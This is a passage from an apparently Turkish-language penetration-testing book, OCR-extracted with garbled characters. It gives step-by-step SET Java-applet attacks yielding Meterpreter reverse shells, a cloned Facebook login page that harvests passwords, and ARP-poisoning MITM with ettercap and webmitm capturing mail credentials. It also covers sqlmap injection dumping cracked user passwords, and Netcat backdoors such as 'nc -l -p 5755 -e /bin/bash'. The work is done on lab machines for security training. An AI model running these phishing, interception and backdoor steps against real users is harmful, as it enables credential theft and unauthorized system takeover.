set:webattack> IP address or hostname for the reverse
connection:10.10.10.4

Java kodu igin gereken glvenlik sertifikasi secenekleri karsimiza geliyor. Biz
burada 2. secenegi (SET’in kendi sertifikasi) seciyoruz.

1. Make my own self-signed certificate applet.
2. Use the applet built into SET.

3. I have my own code signing certificate or applet.




Enter the number you want to use [1-3]:

Burada goruldigu gibi yeni Java versiyonu kendinden imzal kod
calistirilmasinin engellendigini soyllyor. Sizma testini gerceklestirdiginiz yerin
glncel yazilimlar kullandigini biliyorsaniz burada 3. secenegi kullanmaniz

gerekir. Daha sonra klonlamamiz gereken sitenin adresini giriyoruz. Ben 6rnek

olarak Twitter sitesini girdim.

set:webattack> Enter the url to clone:http://www.twitter.com

Bundan sonra saldiri tipimizi segiyoruz. En basarili yontemlerden birisi 2.
secenek. Genelde virlis programlari yakalayamiyor. Biz de “2”yi seciyoruz.

2) Meterpreter Multi-Memory Injection This will drop
multiple Metasploit payloads via memory

Sonra saldiriyla ilgili detay secenekler geliyor:

set:payloads>2

Select the payload you want to deliver via shellcode
injection

1) Windows Meterpreter Reverse TCP

2) Windows Meterpreter (Reflective Injection), Reverse
HTTPS Stager

3) Windows Meterpreter (Reflective Injection) Reverse HTTP
Stager

4) Windows Meterpreter (ALL PORTS) Reverse TCP
5) Windows Reverse Command Shell

6) I'm finished adding payloads.




Once 1. “Meterpreter Reverse TCP”| seciyoruz. Sonra port olarak 4444

giriyoruz.

set:payloads> Enter the number for the payload
[meterpreter reverse tcp]:

set:payloads> Enter the port number [443]:4444

En son “6”y1 segerek bitiriyoruz ve sitemiz hazirlaniyor. Bundan sonra
Windows bilgisayarimizdan Internet Explorer’i agip http:/10.10.10.4 (Kali’'nin
aldig1 adres) adresimizi giriyoruz. Asagidaki sekilde Java uyari ekrani geliyor:

& Welcome to Twitter - Windows Internet Explorer

=
o~ [&) http//1010104 -] 42 | % | B test your sova

v Favorites | 573 (B Suggested Sites v @] Web Slice Gallery v

(& Welcome to Twitter ‘i~ B v =] om ~ Pagev Saf

You are on Twitter Mobile because you are using an old version of
Internet Explorer. Learn more here

Log in

Phone email ar sername:
Security Warning @

Do you want to run this application?

Name: Website Trusted and Certified (VERIFIED)

/ ! : Publisher: UNKNOWN

Location:  http:/f10.10,10.4

Running this application may be a security risk

Risk:  This application will run with unrestricted access which may put your computer and personal
information at risk. The information provided is unreliable or unknown so itis recommended not to
run this application unless you are familiar with its source

More Information

Select the box below, then click Run to start the application

I accept the risk and want to run this application.

L o

“I' accept ...” yanindaki kutucugu isaretleyip “Run” ile devam ediyoruz. Kod
calistiktan sonra fark edilmemesi icin klonlanan siteye otomatik olarak
yonlendirme yapiliyor. Kali tarafina baktigimizda ise asagidaki sekilde erigim

saglandigini goruyoruz.

exploit( ) > [*] Sending stage (957487 bytes) to 10.10.10.8
[*] Meterpreter session 1 opened (10.10.10.4:4444 -> 10.10.10.8:50243) at 2016-0

1-07 19:56:40 +0200




_III

Simdi “sessions -1” ile mevcut acgilan oturumlari gorebiliriz. Gordugiinlz gibi

1 numarali bir adet oturum var.

) > sessions -1

Information Connection

meterpreter x86/win32 windows7\admin @ WINDOWS7 10.10.10.4:4444 -> 10.10
150243 (10.10.10.8)

msf exploit( ) >

Bu oturum ile baglantiya gecelim. Komutumuz “sessions -i 1d”:

msf exploit (handler) > sessions -i 1

[*] Starting interaction with 1...

meterpreter >

Goruldugl Gzere karsi tarafta bir aciklik olup olmadigina bakilmaksizin
sisteme sizma saglandi. Bu saldiri eski Java versiyonlarinda ¢ok rahat yapiliyor.
Yeni Java versiyonunda yaptigimiz ayarla sadece SE Toolkit’in kullanimini
gostermeye calistik. Burada alacagimiz ders eger kesif asamasinda iyi calisip
karsi taraftaki calisan profilini ¢ozebilirsek ve inandirici bir e-postayla ilgili adresi
gonderip girmesini saglayabilirsek bilgisayari ele gecirmemiz miimkiin olabilir.
Ayrica hedef sistemde Java’nin 1.8 ve Usti versiyon kullanildigini biliyorsak
“Java kodu igin gereken glvenlik sertifikasi secenekleri” kisminda 3. segenegi
secip glvenli bir sertifikayla kendi gelistirdigimiz Java kodunu kullanabiliriz.

Sifre toplama saldirisi



Once 3. “Credential Harvester Attack Method”u (Sifre Toplama Saldirisi)
secelim. Amacimiz karsi tarafin mesela Facebook’a giris yaptigini zannedip
sifresini form araciligiyla bize gondermesini saglamak.

Java Applet Attack Method
Metasploit Browser Exploit Method
Credential Harvester Attack Method
Tabnabbing Attack Method

Web Jacking Attack Method
Multi-Attack Web Method

Full Screen Attack Method

HTA Attack Method

1)
2)
3)
4)
S)
6)
7)
<))

o)
w

Return to Main Menu

~

Daha sonraki adim “Site cloner” (Site klonlama) adimi. 2’yi seciyoruz ve
sonrasinda “IP address for POST back ...” ile baslayan kisma mevcut Kali

bilgisayarimizin IP adresini giriyoruz.

1) Web Templates
2) Site Cloner
3) Custom Import

99) Return to Webattack Menu

-

Sonraki adim klonlanacak site adresinin girilmesi. Bizim 6rnekte su sekilde:

set:webattack> Enter the url to clone:
https://www.facebook.com/



https://www.facebook.com/

Daha sonra karsimiza ¢ikan mesaji “enter” ile geciyoruz. Bundan sonraki
adimimiz kurban cihazda internet gezginini agarak Kali IP’sini yazmak ve saldir
adresimize erismek. Asagida ornek ekran gorinuyor:

y__ N
| B Facebook'a Girig Vap | Face.. % | =+
5 Vap

€ 1010104 || ®search wBEe U 4 a0

Facebook Girigi

E-posta veya
Telefon:

Sifre:

[T oturumumu siirekli agik tut

(SRR G ya da Facebook'a Kaydol

Sifreni mi unuttun?

Torkge Kurdi (Kurmanei) .=l English (US) Deutsch Pycckwid Francais (France) .sewld Nederlands Espafiol ..

Kaydol Girig Yap Messenger Facebook Lite Mobil Arkadaglanm Bul ~ Kartlar Kigiler  Sayfalar  Yerler

Bu sayfada deneme olarak bir kullanici adi ve sifre girelim. Bu bilgileri
girdikten sonra gercek Facebook sayfasina yonlendirilecegiz. Sirada toplanan
sifreleri kontrol etme var. Bunun icin Terminal’de “/var/www/html” dizininin
altina gidelim. “Is” komutuyla baktigimizda asagidakine benzer bir yapi

goreceksiniz:

root@kali:/var/www/html# 1ls -1
total 1188

-rw-r—--r—-—- 1 root root 5236 Jan 6 12:04
0bCbid0x.jar

-rw-r—--r-- 1 root root 5236 Jan 7 19:55
akUwJGnWHS . jar

-rw-r—-—-r—-—- 1 root root 5236 Jan 6 12:04
ER5X4QeSvlvqg. jar

-rw-r—-—-r—-—- 1 root root 5236 Jan 6 12:04




EYbAyv6fEkv.jar

-rw-r—--r—-- 1 root root 5236 Jan 6 12:04
GhfvpCGe8TKk1T.jar

-rw-r—-—-r—-- 1 www-data www-data 1075 Jan 7 20:07
harvester 2016-01-07 20:06:39.743839.txt

Burada “harvester_” seklindeki dosyamiz bizim topladigimiz sifrelerin oldugu
dosya. Simdi igcine bakalim. Bunun i¢in asagidaki komutu yaziyoruz:

# cat harvester 2016-01-07 20:06:39.743839.txt

Asagida gorduglinliz Uzere igerik listelendi ve topladigimiz sifrelerle ilgili
bilgileri gorebiliyoruz.

Array

(
[1sd] => AVrHve3z
[display] =>
[enable profile selector] =>
[isprivate] =>
[legacy return] => 1
[profile selector ids] =>
[skip api login] =>
[signed next] =>
[trynum] => 1
[timezone] => -120

[lgndim] =>
eyJ3IjoxMzE4LCJoIjo5NjASImF3IjoxMzE4LCIJhaCI60TIwLCIjIjoyNHO=

[lgnrnd] => 100639 92TZ




[lgnjs] => 1452190010
[email] => deneme

[pass] => denemesifre
[default persistent] => 0

[gsstamp] =>
W1tbMjIsM]jgsNDksNzQsODESOTIsMTEOLDEzZNywxNTcsMTY1LDE3MiwxODQsMTkO
LDIzNCwyNTgsMjgwLDI50CwzMDEsMzAyLDMxMCwzNzksMzg2LDQwMSwOMjQsNDMx
LDQzMywOMzgsNDU4LDQ3MywOOTIsNTAzZLDUWNCwIMzMsNTYOLDUSNyw2MDIsNjEy
LDYxNCw2Mj csNjQyLDY00CW2NThdXSwiQVpsb31FTHpEQOO0xSXNUbk1pT113bDVE
LTZNWXFTRGF2Wn1lUa3dZZ1hIRW8zRGNjcl1BZWkOvZzY3dFJSZVkxbThhQ010ONkIt
Sk1WTUEYySOxielR3YX1RZmtZUGhUcmICNWgzQOXFCZTBiWXQleGAIUIFKQWtjd1FT
Tml1EFVDNDY1d6akRUcCTRzYkRLcmRXxWDVMVE 1UM2UwU2wyY1Y1UHJIDb3RLQUJI6N1 8w
02J17ZmclclNyal9SQzZJbjNqUXZ1Tm5aeHIJWZ1d1SELFWVVraGU30OUREQNZwQ050

MO1£fY2dgbVIKQXdyWF1LR1duSk55SE1hZDBkVVdAndEp6akVhTGS5kbEFYxTUARSZzQ0
SnBTTDBPQVIOyTkM1Z1VYSSJd

)

Ag dinleme ve MITM saldirisi

Ag gecidiyle hedef bilgisayar arasina girerek trafigi dinleme ve/veya
midahale etme saldirisina MITM (Man in the middle - Ortadaki/Aradaki adam
saldirisi) deniyor. Bu béliimde hedefimiz, kisinin internette dolasimini dinleyip
sifrelerini ele gecirmek olacak. Bunun igin birka¢ programin dogru sekilde
¢alismasini saglamamiz gerekiyor. Ayrica 6ncesinde bilgisayarlarimizin ayni IP
grubu icinde ve birbirine erisebilir oldugundan emin olmamiz gerekiyor.

Kali saldiri bilgisayarimiz, Windows 7 hedef bilgisayarimiz olacak.
Baslamadan dnce her iki bilgisayari da ayni NAT ag grubuna aldiginizdan emin
olun (SET - VirtualBox NAT ayari kismina bakip nasil yapilacagini
hatirlayabilirsiniz.)

Hedefimiz ARP (Adres ¢6ziimleme protokoli) zehirlenmesiyle kurban
bilgisayarin bizi ag gecidi olarak gérmesi ve trafigin bizim Gzerimizden



gecmesini saglamak. Bunun icin asagidaki 6n gereklilikleri yerine getirmemiz
gerekiyor:

1. IP forwarding: IP yonlendirmesiyle bize gelen istekleri gercek ag gecidine
gonderecegiz.

2. DNS spoofing: Kurban bilgisayarimizin adres ¢6ziimleme sorularina da biz
cevap verecegiz.

3. Web sayfalarinin ve SSL trafiginin sahte sertifikayla dinlenmesinin
saglanmasi.

4. ARP poisoning: Adres ¢coziimleme protokoli zehirlenmesiyle bitlin trafigi
Uzerimize alma.

Simdi maddelerin her birini detayh olarak inceleyelim:

1. IP yonlendirmesi:

Kali’de bir Terminal penceresi acip asagidaki komutu yaziyoruz:

# fragrouter -Bl

Bu pencereyi kapatmadan birakmamiz 6nemli.

2. DNS spoofing:

Kali’de baska bir Terminal penceresi acip asagidaki komutu giriyoruz:

# dnsspoof -i ethO

Buradaki “eth0” dinletecegimiz network kartinin adi olacak. Bir terminal
ekraninda “ifconfig” yazarak mevcut ag arayuzlerini ve isimlerini gérebilirsiniz.
Bu pencereyi de kapatmadan birakmamiz gerekiyor.



3. Web sayfalarinin ve SSL trafiginin sahte sertifikayla dinlenmesi:

Yine Kali"de yeni bir Terminal penceresi agiyoruz. SSL trafigini dinlemeyi
saglamak icin yazacagimiz komut:

# webmitm -d

Eger bu komutu ilk defa galistiriyorsak sertifika Gretmek isteyecektir.
Asagida goruldigu Gzere sertifika bilgilerini istediginiz gibi doldurabilirsiniz. Bu
sertifika bilgilerini kullanicinin stiphelenip inceleyebilecegini distnerek
mimkiin oldugunca hedefimizi inandiracak sekilde girmemiz saldirinin daha
basarili olmasini saglayabilir.

Asagidaki kirmizi yazilar benim girdigim degerlerdir.

# webmitm -d

Generating RSA private key, 1024 bit long modulus
R nd
R S
e is 65537 (0x10001)

You are about to be asked to enter information that will be
incorporated

into your certificate

What you are about to
Name or a DN.

There are quite a few
For some fields there

If you enter '.', the

Country Name

State or Province Name

Locality Name (eg,

(2 letter code)

city)

request.

enter is what is called a Distinguished

fields but you can leave some blank
will be a default wvalue,

field will be left blank.

[AU] : TR

(full name) [Some-State] :NA

[]:Istanbul




Ltd] :Guvenbana LTD

LTD/CN=www .guvenbana.com/emailAddress=admin@guvenbana.com

:Www.guvenbana.com

Organization Name (eg, company) [Internet Widgits Pty

Organizational Unit Name (eg, section) []:

Common Name (e.g. server FQDN or YOUR name)

Email Address []:admin@guvenbana.com

Please enter the following 'extra' attributes
to be sent with your certificate request

A challenge password []:

An optional company name []:

Signature ok

subject=/C=TR/ST=NA/L=Istanbul/0O=Guvenbana

Getting Private key

webmitm: certificate generated

saldir bilgisayarimizin tizerinden gecmesini saglayacagiz. ilk olarak “ettercap’

Bu pencereyi de kapatmadan birakmamiz 6nemli.

4. ARP poisoning:

Artik trafigi dinlemeye haziriz. Bu adimda “ettercap” kullanarak trafigin

)

ile ilgili ayarlari yapmamiz gerekecek. Bunun icin asagidaki komutu yaziyoruz:

# vim /etc/ettercap/etter.conf

“Ettercap” kullanici yetkilerinin root seviyesinde olmasi i¢in calisacagi

kullanici ve grup numaralarini O olarak degistiriyoruz:



[privs]

ec_ uid = 0 # nobody is the default

ec gid = 0 # nobody is the default

ikinci adim olarak Linux “iptables” giivenlik duvariyla ilgili ydnlendirme

ayarlarini yapabilmesi icin asagidaki satirlarin basindaki # isaretlerini
kaldiriyoruz.

# 1f you use iptables:

redir command on = "iptables -t nat -A PREROUTING -i
%iface -p tcp --dport %port -j REDIRECT --to-port %rport"

redir command off = "iptables -t nat -D PREROUTING -i
%iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Dosyayi kaydedip ¢ikiyoruz. Son adim olarak ettercap’i ¢alistiriyoruz.
Yazacagimiz komut: “ettercap -TgM arp:remote /ag gecidi IP’si/ /hedef
bilgisayar IP’si/” olacak. Benim 6rnegimde:

- Kali IP’si: 10.10.10.4
- Windows 7 hedefimizin IP’si: 10.10.10.8

- Ag gecidi IP’si: 10.10.10.1 (genelde mevcut agimizdaki ilk IP, ag gecidi
oluyor)

Yukaridaki adreslere uygun olarak yazacagimiz komut:

# ettercap -TgM arp:remote /10.10.20.1/ /10.10.20.8/

Artik buttin adimlari tamamladik. Bundan sonraki adimimiz Windows 7’ye

gecerek internet gezgininde dolasip sifre girmek ve yakalanip yakalanmadigina
bakmak.

Windows 7 o6rnek:



Internet Explorer’i acarak https://mail.yandex.com adresini girelim. Kali’de

Windows 7’nin internet trafiginin nasil diistiglini Terminal’den gorebilirsiniz.

10.10.10.8.49231 > 31.13.93.36.443: F 1282275587:1282275587(0) ack 2159648536 wi
(DF)
.49224 104.40.210.32.80: P 381890394:381891530(1136) ack 167462 win
63848 (DF)
104.40.210.32.80 10.10.10.8.49224: . ack 381891530 win 32768
.10.8.49223 104.40.210.32.80: R 831085292:831085292(0) ack 165142 win 0 (

104.40.210.32.80 10.10.10.8.49224: P 167462:167991(529) ack 381891530 win 3276
8
10.10.10.8.49224 > 104.40.210.32.80: . ack 167991 win 63319 (DF)
10.10.10.8.49231 > 31.13.93.36.443: R 1282275588:1282275588(0) ack 2159649283 wi
n @ (DF)

37.59.195.0.80 > 10.10.10.8.49213: F 142235:142235(0) ack 3170936768 win 31991
10.10.10.8.49213 > 37.59.195.0.80: . ack 142236 win 63591 (DF)

10.10.10.8.49213 > 37.59.195.0.80: . ack 142236 win 63591 (DF)
195.154.184.238.80 > 10.10.10.8.49203: F 116665:116665(0) ack 271967907 win 3214
1
10.10.10.8.49203 195.154.184.238.80: . ack 116666 win 64008 (DF)
10.10.10.8.49203 195.154.184.238.80: . ack 116666 win 64008 (DF)
10.10.10.8.49203 195.154.184.238.80: R 271967907:271967907(0) ack 116666 win 0

.10.8.49213 > 37.59.195.0.80: R 3170936768:3170936768(0) ack 142236 win 0 (

Asagidaki gibi bir sertifika hatasi gelecek. Bu hata sadece https olan adreslerde
geliyor. Eger boyle bir durumla karsilagirsaniz iki ihtimal vardir. Ya gergekten
sertifikada sorun vardir ya da birisi araya girmis ve trafiginizi dinliyordur.

€ Certificate Error: Navigation Blocked - Windows Internet Explorer

@\_/ = |.Q https://mail yandex.com - | *}| X | ‘ b ging
File Edit View Favorites Tools Help
v Favorites | 9f5 B Suggested Sites v @ Web Slice Gallery

(@ Certificate Error: Navigation Blocked v B v = d® v Page

_aw There is a problem with this website's security certificate.

\_//
The security certificate presented by this website was not issued by a trusted certificate authority.
The security certificate presented by this website was issued for a different website's address.

Security certificate problems may indicate an attempt to fool you or intercept any data you send to the
server,

We recommend that you close this webpage and do not continue to this website.
& Click here to close this webpage.
& Continue to this website (not recommended).

2 More information


https://mail.yandex.com/

Simdi “Continue to the website (not recommended)” deyip ilerliyoruz.

Gordugliniiz gibi sag Ustte sertifika problemini gostermeye devam ediyor.

ps://mail.yandex.com.tr/|

4

@ Certificate Error ] v IL, E

File Edit View Favorites Tools Help

¢ Favorites | 3% [B Suggested Sites v ] Web Slice Gallery v

| YandexMesil — Ucretsz e-posta servis [ ]

-8 -

Yandex

Kullanici adi ‘
Sifre \
Beni hatirlama Sifremi unuttum
Giris yap
= Kayit ‘
4

Mobil Yandex.Mail

Nerede olursaniz olun,
e-posta kutunuz her zaman yaninizda

Baglanti telefonunuza gelsin:

» Google play

t Simdi
'DEN EDININ ' App Store'da

Android™ 4.0.3 ve Gstid surime  iPhone i0S 7.1 ve dzeri
sahip tabanh akill telefonlar icin surdmier icin

Daha sonra gelen sayfada rastgele bir kullanici adi ve sifre girip “Log in” ile

devam edelim.



File Edit View Favorites Tools Help

Qe+ O (X A G Psown Srroons @mts @ (3 5
Addres e:] https://mail. yandex.com

Reliable Mail

week
Hsermadeneme

LassVeodeceee

[
Login

e Create account

dex Mail has | rus protec

Son olarak tekrar Kali’de “ettercap” komutunu girdigimiz Terminal
penceresine gegelim. Bu ekranda girdigimiz kullanici adi ve sifrenin
yakalandigini gormemiz lazim. Benim ekranimda asagidaki sekilde bir satir

geldi:

HTTP : 213.180.204.24:443 -> USER: deneme PASS: gwertl234
INFO:
passport.yandex.com.tr/passport?mode=auth&from=mail&origin=hostr
oot com tr nol mobile enter&retpath=https://mail.yandex.com.tr

CONTENT :
retpath=https%$3A%2F%2Fmail.yandex.com.tr&timestamp=1452236277277
&login=denemeé&passwd=qgwertl234&twoweeks=yes

Burada gorildigi Gzere kullanici adi ile sifreyi yakaladi ve ekranda gosterdi.
Siz de Gmail ve Facebook icin denemeler yapabilirsiniz.

SQL enjeksiyonu



SQL kod enjeksiyonuyla amacglanan, bir web formu lGzerinden gonderilen
SQL koduna miidahale edip igine kendi kodlarimizi eklemek ve neticesinde

veritabaninda asagidaki islemleri yapabilmek:
- Bilgilere erismek,
- Bilgileri degistirmek,
- Bilgileri silmek.

SQL enjeksiyonuyla ayrica veritabanlarinda kullanici bilgilerine ulasip
buradan baska sistemlere atlamak da mimkiin olabilir.

Bu seferki 6rnegimizi Delce 1.120 Uzerinde gosterecegiz. De-ICE serisiyle ilgili
dosyay! http://hackingdojo.com/dojo-media/ adresinden indirebilirsiniz.

De-ICE serisi 192.168.1.0/24 IP arahigindan IP alir. Mesela Delce 1.120 IP
olarak 192.168.1.120 alacaktir. Bundan dolayi olusturacaginiz “Host-only” veya
“NAT network” IP araligini bu sekilde tanimlamaniz gerekecek. ilgili tanimlar
icin kitabin 6nceki bolimlerindeki 6rneklere bakabilirsiniz. Bu tanimdan sonra
hem Kali hem de De-ICE’1 ayni agda baslatirsaniz saldirmaya hazir hale gelirsiniz.

Her seyin hazir oldugunu dislinerek internet gezginiyle 192.168.1.120
adresine Kali Gizerinden girdigimizde asagidaki gibi bir sayfa gelecek:

y, D Primaline :: Quality Ki... % \ L
€ @192.1681.120 v wa ¥+ 1

S Most Visited ¥ “Offemsive Security \Kali Linux \Kali Docs \KEUTUU[S !!Exptuit-DB ‘Air:rack-ng

Primaline Data Entry Site

Please note that this site is for internal use only.
(It should only be accessible on our internal network anyways).

Marketing needs extra help entering new products into the company catalog. This site is for adding products into the catalog, which are then publishec
our main production website.

If you are ready to enter products into the database, use the "Add products" link below to get started.

Home Add Product View Product:

Note from IT Staff: Don't hother contacting us..we won't respond.

Bu sayfada U¢ adet baglanti var:

- Home: Ana sayfa


http://hackingdojo.com/dojo-media/

- Add Product: Uriin ekle

- View Products: Uriinleri goriintiile

Simdi ilgili 6zellikleri kullanarak adres cubugunda ne gibi bilgiler
gérindiigiine bakalim. Once “Add Product” sayfasina gidelim ve bilgileri

asagidaki gibi dolduruyoruz, sonra da “Submit” digmesine basiyoruz.

) [Z] Primaline :: Quality Ki.. ¥ | L]

€ @192.168.1.120

& Search

Must Visited ¥ ﬂOffensive Security ~R.KaLi Linux \KaLi Docs ~R.KaLi Tools ﬂExpLUit-DB ‘Aircrack-ng

Enter a new product into the database:

Product: |urunl

Description: |urun tanimi

Price: [15

Submit

Home Add Product View Products

Mote from IT Staff: Don't bother contacting us...we won't respond

Asagidaki gibi bir sayfa karsimiza gelecek. Yalniz yukaridaki adrese
baktigimizda herhangi bir parametre gorinmuyor.

J [ Primaline :: Quality Ki... ¥ | +*

€ 192.168.1.120

Search
Most Visited ¥ “Offenswe Security ~\Kau Linux \Kau Docs \I(all Tools ﬂExmet—DB ‘Alrcrack—ng

Here is the product you added!
Product: urunl
Desription: urun tanimi

Price: $15.00

Home Add Product View Products

Mote from IT Staff: Don't bother contacting us.. we won't respond.



Simdi “View Products” sayfasini deneyelim. Bu sayfada ekledigimiz Grin(
seciyoruz ve “Submit” digmesine basiyoruz.

J D Primaline :: Quality Ki... * \ +

€ 192.168.1.120 v earch

& Mast Visited ¥ lilOffensive Security '\Kal\ Linux '\Kau Docs '\Kali Tools ﬂExmethB hAircrackfng

Please select one of our current products:

| Submit |

Home Add Product View Products

Note from IT Staff: Don't bother contacting us...we won't respond.

Asagida gordiguniiz Gzere adres cubugunda bir parametre geldi. Bu
parametreli adresi SQL enjeksiyon denememizde kullanabiliriz.

y H Primaline :: Quality Ki... % N L

€ @192.168.1.120

[ Mast Visited ¥ liloffensive Security \Kali Linux '\Kali Docs ‘,KaLi Tools !!ExpLoithB ‘Aircrackfng

Please select one of our current products:

Product: | Select Product v |

| Submit |

Product: urunl
Desription: urun tanimi

Price: $15.00

Home Add Product View Products

Mote from IT Staff: Don't bother contacting us.. we won't respond.

Ek Bilgi:

Yukaridaki senaryo ¢ok basitlestirilmis bir senaryodur. Normalde araya Burp suite
gibi bir web vekil sunucusuyla girerek triin eklemedeki parametreleri de belirleyip SQL
enjeksiyon denemelerinde kullanabilirdik. Bu bolimde sadece temel bakis agisiyla basit




bir 6rnek verilmistir. Bu konuda ilerlemek igin “sqlmap” komutuyla ilgili arastirma

yapabilirsiniz.

SQL saldirisinda kullanacagimiz uygulama “sglmap”. Bunun icin Terminal’i
acalim ve asagidaki komutu yazdiktan sonra asagidaki gibi devam edelim.
Yapilan girisleri kirmiziyla gosterdim:

# sglmap --wizard

[09:38:16] [INFO] starting wizard interface

Please enter full target URL (-u):
http://192.168.1.120/products.php?id=1

POST data (--data) [Enter for None]:

Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)

[2] Medium

[3] Hard

> 3

Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)

[2] Intermediate

[3] All

> 3

sglmap is running, please wait..

Burada “Injection difficulty” (Enjeksiyon zorlugu) ve “Enumeration” (Detayli
listeleme) kisimlarina “3 hard” (Zor) ve “3 all” (Hepsi) girdim. Cinkii mimkin
olan her seyi deneyip bitln bilgileri listelemesini istiyorum. Yalniz siz diger
secenekleri de deneyerek farkli sonuglarin listelenmesini saglayabilirsiniz.



Komutu calistirdiginizda “sglmap” kullanici dahil bitiin veritabani bilgilerini

doktuglini goreceksiniz. Ayrica sifre kirma denemesiyle sifreleri bile

listeleyecek. Asagida gelen detaylarla ilgili sadece bir veritabani bilgisi ve

kullanicilarin kirilan sifreleriyle ilgili ciktidan kisa bir 6rnek yer aliyor:

[22:14:30]

[22:14:31]

[22:14:31]

[22:14:31]

[22:14:31]

[22:14:
'krenfro'

31]

[22:14:31]
'"cchisholm'

[22:14:31]
'bwatkins'

[22:14:32]
'jbresnahan'

[22:14:32]
'dstevens'

[22:14:34]
'"Imartinez’

[22:14:35]
'rjacobson'

[22:14:35]
'jdavenport’

[22:14:36]
'jfranklin'

[INFO]
[INFO]
[INFO]
[INFO]
[INFO]

[INFO]

[INFO]

[INFO]

[INFO]

[INFO]

[INFO]

[INFO]

[INFO]

[INFO]

cracked

cracked

cracked

cracked

cracked

cracked

cracked

cracked

cracked

cracked

cracked

cracked

cracked

cracked

password
password
password
password
password

password

password

password

password

password

password

password

password

password

web application technology: Apache

IOI

'111111°

'123123"

'1234"

'12345"

'123456"

'1234567"

'12345678"'

'654321"

'666666"

'Password’

'abcl23"

'babylOn'

'baseball'

2.2.11,

for user

for user

for user

for user

for user

for user

for user

for user

for user

PHP 5.2.9

'jalvarez'

'mnader'

"Jduff’

'lmorales'

'aharp'

for user

for user

for user

for user

for user




back-end DBMS: MySQL 5.0.12

banner: '5.1.33"

current user: 'webapp@localhost'
current database: 'merch'
hostname: 'slax'

current user is DBA: True

database management system users [50]:

Bltlin detaylari sqimap’i siz bizzat deneyerek gorebilirsiniz. Yukaridaki icerik
SQL enjeksiyonu sonucu erisilecek bilgiler ve olusturacagi glivenlik agiginin
vahametini gdstermesi agisindan oldukga yeterli.



OzET

Bu boliimde sizma asamasinda neler yapabilecegimizi ve hedefleri nasil ele
gecirebilecegimizi gorduk.

Yontemlerimizden ilki, en temeli ve her zaman faydalanilabilecek olani
“sifre kirmak” en 6nemli adimlardan biri. Zira sistemlerde hicbir aciklik olmasa
bile insana dayali basit sifreler kullanilmasi hedeflerin daha kolay sizdirilmasini
saglamakta ve saldirganlara firsat olusturmaktadir. Sifre kirmayla ilgili olarak
Medusa ve John the Ripper yazilimlarindan faydalandik.

ikinci adimda daha dnce tespit ettigimiz zafiyetlerden nasil yararlanacagimizi
gordik. Sizmada kullandigimiz yazilim Metasploit oldu.

Uciincii adimda yine insanlarin zafiyetlerini kullanarak bilgisayarlarini ele
gecirme ve sifrelerini toplama yontemlerini gordik. Faydalandigimiz yazihim SE
Toolkit oldu.

Dordiinct adimda ag dinleme ve araya girmeyle nasil sifre
toplayabilecegimizi gorduk.

Besinci ve son adim olarak ise web yazilimlarindaki dikkatsizliklerden
faydalanarak SQL enjeksiyonuyla nasil veri toplanip kullanicilarin ele
gecirilebilecegini gorduk.



YEDINCi BOLUM

SIZMA SONRASI

Sizma sonrasi ve kaliciigin saglanmasi

Su ana kadar kesifle hedefimiz hakkinda bilgi topladik, zafiyet taramasiyla
zayIf noktalarini tespit ettik, sonra bu zayif noktalari kullanarak hedefleri ele
gecirdik. Simdi sira asil soruya geldi: “Hedefi ele gecirdik, ya sonrasi?”

Eger misterilerinizden birinde sizma testi yapiyorsaniz blyuk ihtimalle
sizden daha fazla ileri gitmeniz istenmiyordur. Ama bazi musterileriniz de daha
ne kadar ileri gidebileceginizi merak edebilir veya sizma sagladiginiz sistemler
asil hedefiniz degildir. Bu durumda sizdiginiz hedefleri bir sigrama tahtasi olarak
kullanip yeni hedeflere ilerlemeniz gerekebilir. Simdi sizma sonrasi olasi
durumlari listeleyelim:

- Verilerin ve dosyalarin bulunmasi ve ele gecirilmesi,
- Hedeflerde kaliciligin saglanmasi ve izleme yapilmasi,

- Mevcut hedeflerin ele gegirilmesinin yeterli olmadigi durumlarda, ele
gecirilen sistemlerin sigrama tahtasi olarak kullaniimasi.

Netcat*° ve Cryptcat>!

* http://nc110.sourceforge.net

3t http://cryptcat.sourceforge.net



Netcat ag Gizerinden iletisim kurmak icin gelistirilmis, oldukca basit ama
bunun yaninda bir¢cok 6zelligi barindiran bir programdir. Netcat kullanarak

asagidaki isleri ve cok daha fazlasini yapabilirsiniz:
- Ele gecirdigimiz sistemde “arka kapi agcarak” daha sonra erisim saglama,
- Basit bir iletisim araci olarak kullanma,

- Dosya transfer etme.

Netcat ile Linux’ta arka kapi1 agma:

ilk olarak Metasploitable’da bir arka kapi acarak deneme yapalim. Netcat ile
arka kapr agmak icin hedef bilgisayarin daha dnce ele gegirilmis olmasi
gerekiyor. Ele gecirdikten sonra istedigimiz bir porttan baglanabilmek icin
Netcat’i dinleme modunda calistiracagiz.

Metasploitable’a giris yaparak asagidaki komutu yazalim:

# nc -1 -p 5755

- |: dinleme modu

- p 5755: port 5755’ten baglanti bekleyecek.

Kali tarafinda baglanmak icin komutu “nc hedef IP hedef port” seklinde

yazmamiz gerekiyor.

# nc 10.10.20.9 5755




Simdi karsilikli olarak bir baglanti acildi ve her iki tarafta ne yazarsak aynisi
diger tarafta da ¢ikacak. Tabii bizim istedigimiz bu degil. CTRL+C tuslariyla
baglantiyi keselim ve 6rnegimizi biraz daha ileri seviyeye tasiyalim.

Metasploitable’da bu sefer asagidaki komutu yaziyoruz:

# nc -1 -p 5755 -e /bin/bash

Yukaridaki komutta -e ile baglanti saglandiginda “bash” ¢alismasini ve komut
satirina dismesini saglyoruz. Kali tarafinda yazacagimiz komut degismiyor.

# nc 10.10.20.9 5755
id

uid=1000 (msfadmin) gid=1000 (msfadmin)
groups=4 (adm) , 20 (dialout) , 24 (cdrom), 25 (floppy) ,29 (audio) , 30 (dip)
, 44 (video) ,46 (plugdev) ,107 (fuse), 111 (1lpadmin), 112 (admin) , 119 (sam
bashare), 1000 (msfadmin)

whoami

msfadmin

Yukaridaki dokiimu inceledigimizde bazi detaylari fark ediyoruz:

1. Herhangi bir komut satirina dismuiiyoruz ama komut yazdigimizda sonug
geliyor.

2. “id” komutunu yazdigimizda “msfadmin” oldugumuzu fark ediyoruz. Oysa
arka kapi agtiktan sonra “root” yetkisinde olmayi tercih ederiz.

3. Netcat baglantilari kalici degil. Baglantiyi kestikten sonra tekrar ayni
komutu ¢alistirmadan baglanamiyoruz.

Simdi CTRL+C ile ¢ikip tekrar deneme yapalim. Bu sefer root yetkisiyle bir
arka kapi agmaya calisacagiz. (Eger hedefi ele gecirdigimizde root
yetkisindeysek bu calistirdigimiz komut da root yetkisinde olacaktir.) Root



